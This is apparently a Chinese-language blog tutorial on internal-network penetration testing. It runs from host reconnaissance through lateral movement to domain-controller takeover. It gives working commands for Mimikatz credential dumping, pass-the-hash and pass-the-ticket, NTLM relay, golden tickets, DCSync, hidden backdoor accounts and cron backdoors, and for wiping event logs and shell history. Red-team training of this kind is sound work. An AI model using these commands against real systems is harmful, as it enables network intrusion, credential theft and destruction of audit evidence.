内网渗透深度实战指南:从单点突破到域控沦陷,手把手拆解横向移动全链路
导语
很多渗透测试人员拿到一台服务器的Webshell之后,就卡住了——不知道下一步干什么、不知道怎么横向移动、不知道怎么拿下域控。
这就是典型的外网渗透高手,内网渗透小白。
事实上,从进入内网到拿下整个域,有了一套成熟的技术栈和流程。这篇文章,我从实战视角,把内网渗透的信息收集、权限维持、横向移动、域渗透、痕迹清理全部讲透。每一步用什么工具、执行什么命令、原理是什么,全部给你拆开揉碎。
干干货,没废话。建议收藏,实战前翻一遍。
一、内网渗透的核心思维
外网渗透拼的是信息收集,内网渗透拼的是内功和耐心。
外网你面对的是一个“黑盒”,需要从零发现入口。而内网一旦进入,你就站在了“灰盒”里——内网存在大量脆弱配置、默认密码、未打补丁的系统、域控权限分配混乱。
内网渗透的核心三步曲:
信息收集:弄清楚内网长什么样
横向移动:从一个点跳到另一个点
权限提升:从普通用户到管理员,从管理员到域控
二、内网信息收集(拿到初始权限后的第一件事)
你拿到的第一台机器,叫跳板机。从这一刻起,你所有的操作都在这台机器上执行(通过你的C2/Meterpreter/CS Beacon)。
2.1 本机信息收集(知己)
在跳板机上摸清:这是台什么机器?谁在用?开放了什么?
| 命令(Windows) | 命令(Linux) | 获取信息 |
|---|---|---|
systeminfo | uname -a、cat /etc/issue | 操作系统版本、补丁情况 |
whoami | whoami、id | 当前用户权限 |
ipconfig /all | ifconfig -a、ip a | IP地址、子网掩码、DNS、DHCP |
netstat -ano | netstat -tunlp、ss -tunlp | 网络连接、监听端口、哪些进程在通信 |
route print | route -n | 路由表、内网网段 |
arp -a | arp -n | ARP缓存表(内网有哪些活跃IP) |
tasklist | ps aux | 正在运行的进程 |
net user/net localgroup | cat /etc/passwd、getent group | 用户和组信息 |
wmic service get | systemctl list-units | 服务列表(找脆弱服务) |
netsh advfirewall show allprofiles | iptables -L、ufw status | 防火墙规则 |
重要:查看计划任务/定时任务(Windows:schtasks,Linux:crontab -l)。很多运维喜欢在定时任务里写明文密码!
2.2 内网拓扑探测(知彼)
核心目标:绘制内网地图——有几个网段、有哪些存活主机、开放什么服务、哪台是域控。
第一步:判断是否在域环境
cmd
# Windows net config workstation # 看工作站域 net view /domain # 查看所有域 net view /domain:DOMAIN_NAME # 查看域内主机 nltest /dclist:DOMAIN_NAME # 列出所有域控
Linux下:查看/etc/krb5.conf是否有域配置,或者realm list。
第二步:内网存活主机扫描
有了内网IP范围(从本机IP和路由表判断),用工具扫存活主机和端口。
工具:
fscan(国产神器,轻量快速):
fscan.exe -h 192.168.1.0/24自动扫存活+端口+常见漏洞nmap:
nmap -sn 192.168.1.0/24(Ping扫描)或nmap -T4 -F 192.168.1.0/24masscan:
masscan 192.168.1.0/24 -p1-65535 --rate=10000
⚠️ 内网扫描容易被流量监控设备发现。建议慢速扫描(
-T2)或分时段小批量扫描,避免触发告警。
第三步:端口服务识别
重点关注端口的意义:
| 端口 | 服务 | 内网渗透价值 |
|---|---|---|
| 445 | SMB | 横向移动的核心入口(永恒之蓝、SMB Relay、哈希传递) |
| 135/139 | RPC/NetBIOS | 信息泄露、远程命令执行(WMI) |
| 3389 | RDP | 远程桌面(可爆破、可会话劫持) |
| 22 | SSH | Linux横向移动(密码爆破、私钥窃取) |
| 3306/1433/1521/27017 | 数据库 | 数据窃取、提权(UDF提权等) |
| 80/443/8080/8443 | Web服务 | Web漏洞挖掘、未授权访问 |
| 445的SMB也常用于NTLM中继和哈希传递 | ||
| 389/636 | LDAP | 域内用户查询(可泄露域信息) |
| 53 | DNS | DNS隧道、区域传送漏洞 |
| 25 | SMTP | 邮件伪造、内部钓鱼 |
2.3 域环境信息收集
如果你确认在域内,下面这些域命令必须背熟(很多域渗透靠的就是这组命令):
cmd
# 查看域用户 net user /domain # 查看域管理员 net group "Domain Admins" /domain # 查看域控 net group "Domain Controllers" /domain # 查看所有域计算机 net group "Domain Computers" /domain # 查看域信任关系 nltest /domain_trusts # 查看域时间(可用于Kerberos攻击) net time /domain
三、权限维持(Persistence)
目标:保证你下次还能进来,哪怕被管理员重启、清除会话、甚至改了密码。
3.1 常用权限维持手段
| 手法 | 适用系统 | 持久化方式 |
|---|---|---|
| 计划任务/定时任务 | Win/Linux | 定时回连C2 |
| 创建隐藏账户 | Win | net user hacker$ pass /add(带$隐藏) |
| 注册表自启动 | Win | 写入HKLM\Software\Microsoft\Windows\CurrentVersion\Run |
| WMI持久化 | Win | 使用WMI事件订阅触发恶意脚本 |
| SSH密钥 | Linux | 将公钥写入~/.ssh/authorized_keys |
| Cron定时任务 | Linux | echo "* * * * * /path/to/backdoor.sh" >> /etc/crontab |
| Meterpreter/Beacon持久化 | Win/Linux | Metasploit的persistence模块、CS的elevate |
四、横向移动(Lateral Movement)
这是内网渗透的核心。从一台机器跳到另一台,直到拿下域控。
4.1 密码获取与凭证窃取
第一步:抓取内存中的密码哈希和明文凭证
Windows(最经典):
Mimikatz:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit抓取系统内存中的明文密码(如果启用WDigest)和NTLM哈希
抓取Kerberos票据(可用于Pass the Ticket)
Procdump + Mimikatz:先
procdump -accepteula -ma lsass.exe lsass.dmp,再离线用Mimikatz解析(绕过杀软对Mimikatz的直接拦截)Get-PassHashes.ps1(PowerShell脚本)
Linux:
cat /etc/shadow(如果能读到,直接拿哈希)history命令看历史命令有没有输入过密码查看各种配置文件(
.bash_profile、.bashrc、/etc/profile)搜索包含
password的文件:grep -r "password" /var/www/ 2>/dev/null
4.2 哈希传递(Pass the Hash, PtH)
当你拿到Windows用户的NTLM哈希(不是明文密码),可以通过哈希传递直接认证其他主机,无需破解密码!
工具:
Mimikatz:
sekurlsa::pth /user:用户名 /domain:域名 /ntlm:哈希 /run:cmd.exe会弹出一个新的cmd,用该用户的权限访问其他机器
Impacket套件:
psexec.py、wmiexec.py、smbexec.py都支持-hashes参数传入哈希示例:
wmiexec.py domain/user@target_ip -hashes :NTLM_HASH
原理:Windows认证中,客户端用NTLM哈希加密挑战值发送给服务端。只要哈希正确,服务端就认为是合法用户——不需要知道明文密码。
4.3 票据传递(Pass the Ticket, PtT)
如果你抓到了Kerberos票据(.kirbi文件),可以直接用票据访问域内服务。
工具:
Mimikatz:
kerberos::ptt ticket.kirbiRubeus:
Rubeus.exe ptt /ticket:ticket.kirbi
4.4 横向移动常用方法
有了凭证(密码明文或哈希),接下来横向移动:
| 手法 | 工具/命令 | 适用场景 |
|---|---|---|
| IPC$连接 + 计划任务 | net use \\target\ipc$/schtasks | 最经典手法,需要开放445 |
| PsExec | PsExec.exe \\target -s cmd | 远程执行命令,需admin权限 |
| WMI | wmic /node:target process call create "cmd.exe /c whoami > C:\out.txt" | 无需上传工具,纯系统原生 |
| WinRM | winrm quickconfig+Invoke-Command | 需要WinRM服务开启(5985/5986) |
| SMBExec | smbexec.py(Impacket) | 通过SMB上传服务执行命令 |
| WMIExec | wmiexec.py(Impacket) | 通过WMI执行命令,半交互式Shell |
| AtExec | atexec.py(Impacket) | 通过计划任务执行(老系统兼容) |
| SC(服务控制) | sc \\target create ... | 创建远程服务执行命令 |
实战技巧:
先用
net view看有哪些主机在线,再用net use尝试连接如果可以连接
\\target\C$(默认共享),说明拥有管理员权限,直接横向横向移动时,使用父子进程伪装,避免被EDH/EDR告警(如
ppid欺骗)
4.5 SMB Relay(NTLM中继攻击)
原理:截获一台主机的NTLM认证请求,中继转发到另一台主机(如域控),从而在目标主机上执行命令。
工具:Responder+Impacket-ntlmrelayx
Responder监听内网,捕获NTLM挑战响应包ntlmrelayx将捕获到的认证转发到目标机器(如域控)如果域控开启了SMB签名(SMB Signing),中继会失败
4.6 黄金票据与白银票据
黄金票据(Golden Ticket):拿到域控的krbtgt账户哈希后,可以伪造任意用户的TGT(授权票据),从而获取域内任意权限。
前提:已经拿到域控权限,拿到
krbtgt的NTLM哈希和域SID命令:Mimikatz
kerberos::golden /user:Administrator /domain:test.com /sid:S-1-5-21-... /krbtgt:哈希 /ptt效果:伪造出任意用户的TGT,可访问域内任何资源,甚至域控!
白银票据(Silver Ticket):伪造特定服务的TGS(服务票据),直接访问某个特定服务(如CIFS访问文件、LDAP查询)。范围比黄金票据小,但更难检测(因为不依赖于域控)。
五、域控权限获取(终极目标)
5.1 获取域控权限的常见路径
通过NTLM中继到域控:用
ntlmrelayx将认证流量中继到域控的SMB/LDAP服务,直接执行命令或DCSync导出所有哈希通过窃取的域管理员凭证:抓取内存或暴力破解域管密码
通过Kerberos漏洞(如MS14-068、Kerberoasting)
通过未打补丁的系统漏洞(如EternalBlue在域控上的变种)
5.2 DCSync攻击
原理:利用域控复制的权限,模拟一个域控从另一台域控同步密码哈希。只要有Domain Admins、Enterprise Admins或域控本机的权限,即可执行。
工具:Mimikatzlsadump::dcsync /domain:test.com /user:krbtgt(导出krbtgt哈希,用于制作黄金票据)
5.3 域控失陷后的操作
Dump所有域用户的哈希(
lsadump::dcsync /all)创建自己的黄金票据(保证永久的域控访问权)
窃取所有GPO策略(可能包含各种密码)
查看域信任关系,攻击其他信任域
六、痕迹清理(避免被溯源)
渗透测试做完后要清理痕迹(如果是红队演习,也可以故意留些陷阱诱饵)。
6.1 Windows痕迹清理
清除事件日志:
wevtutil el列出日志,wevtutil cl 安全清除安全日志删除临时文件:
del /f /s /q %temp%\*清理Mimikatz日志:Mimikatz运行会留日志,
sekurlsa::logoff或删除C:\Windows\Temp下的mimikatz文件清除PowerShell历史:
Clear-History删除计划任务:
schtasks /delete /tn TaskName /f清除RDP远程桌面连接记录(注册表位置)
6.2 Linux痕迹清理
清除命令历史:
history -c,rm -f ~/.bash_history删除日志:
cat /dev/null > /var/log/syslog,rm -rf /var/log/apache2/*隐藏文件时间戳:用
touch -t修改文件修改时间清理SSH登录记录:
echo > ~/.ssh/known_hosts
七、内网渗透常用工具全家福
| 类别 | 工具 | 用途 |
|---|---|---|
| 信息收集 | fscan、nmap、masscan | 内网存活/端口扫描 |
| 信息收集 | netview、ldapsearch | 域内信息收集 |
| 密码抓取 | Mimikatz、LaZagne、mimipenguin(Linux) | 抓取密码和哈希 |
| 横向移动 | impacket套件(psexec/wmiexec/smbexec/atexec) | 远程执行命令 |
| 横向移动 | PsExec、sc、wmic、WinRM | 系统原生横向工具 |
| 凭证攻击 | Responder、ntlmrelayx | NTLM中继攻击 |
| 凭证攻击 | Rubeus | Kerberos票据攻击 |
| 权限维持 | Cobalt Strike、Metasploit | C2框架,持久化控制 |
| 内网穿透 | frp、nps、EarthWorm、Chisel | 代理转发,访问内网 |
| 综合框架 | Cobalt Strike(红队神器)、Empire(PowerShell后渗透框架) | 全流程内网渗透 |
八、内网渗透核心逻辑一句话总结
第一步(跳板机):收集本机信息(用户、权限、进程、网络、防火墙、补丁)
第二步(探测内网):扫描内网存活主机和开放端口,绘制拓扑
第三步(挖凭证):抓取当前主机的密码哈希、明文密码、Kerberos票据
第四步(横向移动):用凭证+各种手法(PtH、PtT、SMBRelay、PsExec)跳到下一台主机
第五步(提权):在新主机上提权,继续抓凭证,反复迭代
第六步(域控):通过DCSync/黄金票据/管理员凭证拿下域控
第七步(清理):擦除操作痕迹,保留持久化后门
内网渗透的本质是信任关系的连锁崩塌。域内每台主机之间互相信任,一旦信任链条的一环失陷,整个域都将暴露。
💬 互动话题
你在内网渗透中卡得最久的是哪一步?信息收集卡住了、横向移动没凭证、还是域控死活拿不下?
欢迎在评论区分享你的内网渗透翻车经验或高光时刻——真实战场上的教训最值钱。每一条我都会亲自回复,硬核拆解。
🎁 内网渗透豪华资料包
我从实战和培训中整理了一套内网渗透从入门到精通的完整资料,适合收藏反复啃:
①内网渗透完整思维导图(PDF+矢量图)——所有技术点的全景地图
②Mimikatz全命令速查表(中英文对照,含所有模块用途)
③Impacket套件各脚本详解与实战示例(psexec/wmiexec/smbexec/dcomexec等)
④Cobalt Strike从入门到精通实战教程(含Beacon命令、提权、横向、持久化)
⑤黄金票据/白银票据/DCSync攻击手把手实验环境+步骤
⑥域环境搭建与内网渗透实验手册(VMware搭建完整域环境)
⑦内网渗透常用工具包(fscan、Mimikatz、Impacket、Responder、frp等)
⑧护网行动内网防守方常见检测点与对抗策略
⑨内网渗透面试高频考点100问(含详细答案)
👇 领取方式
评论区回复“内网渗透”,我会私信发你全套资料链接。
内网渗透拼的不是爆炸性的0day,而是耐心与流程。按步骤走,每一层都踩实,域控只是时间问题。评论区见。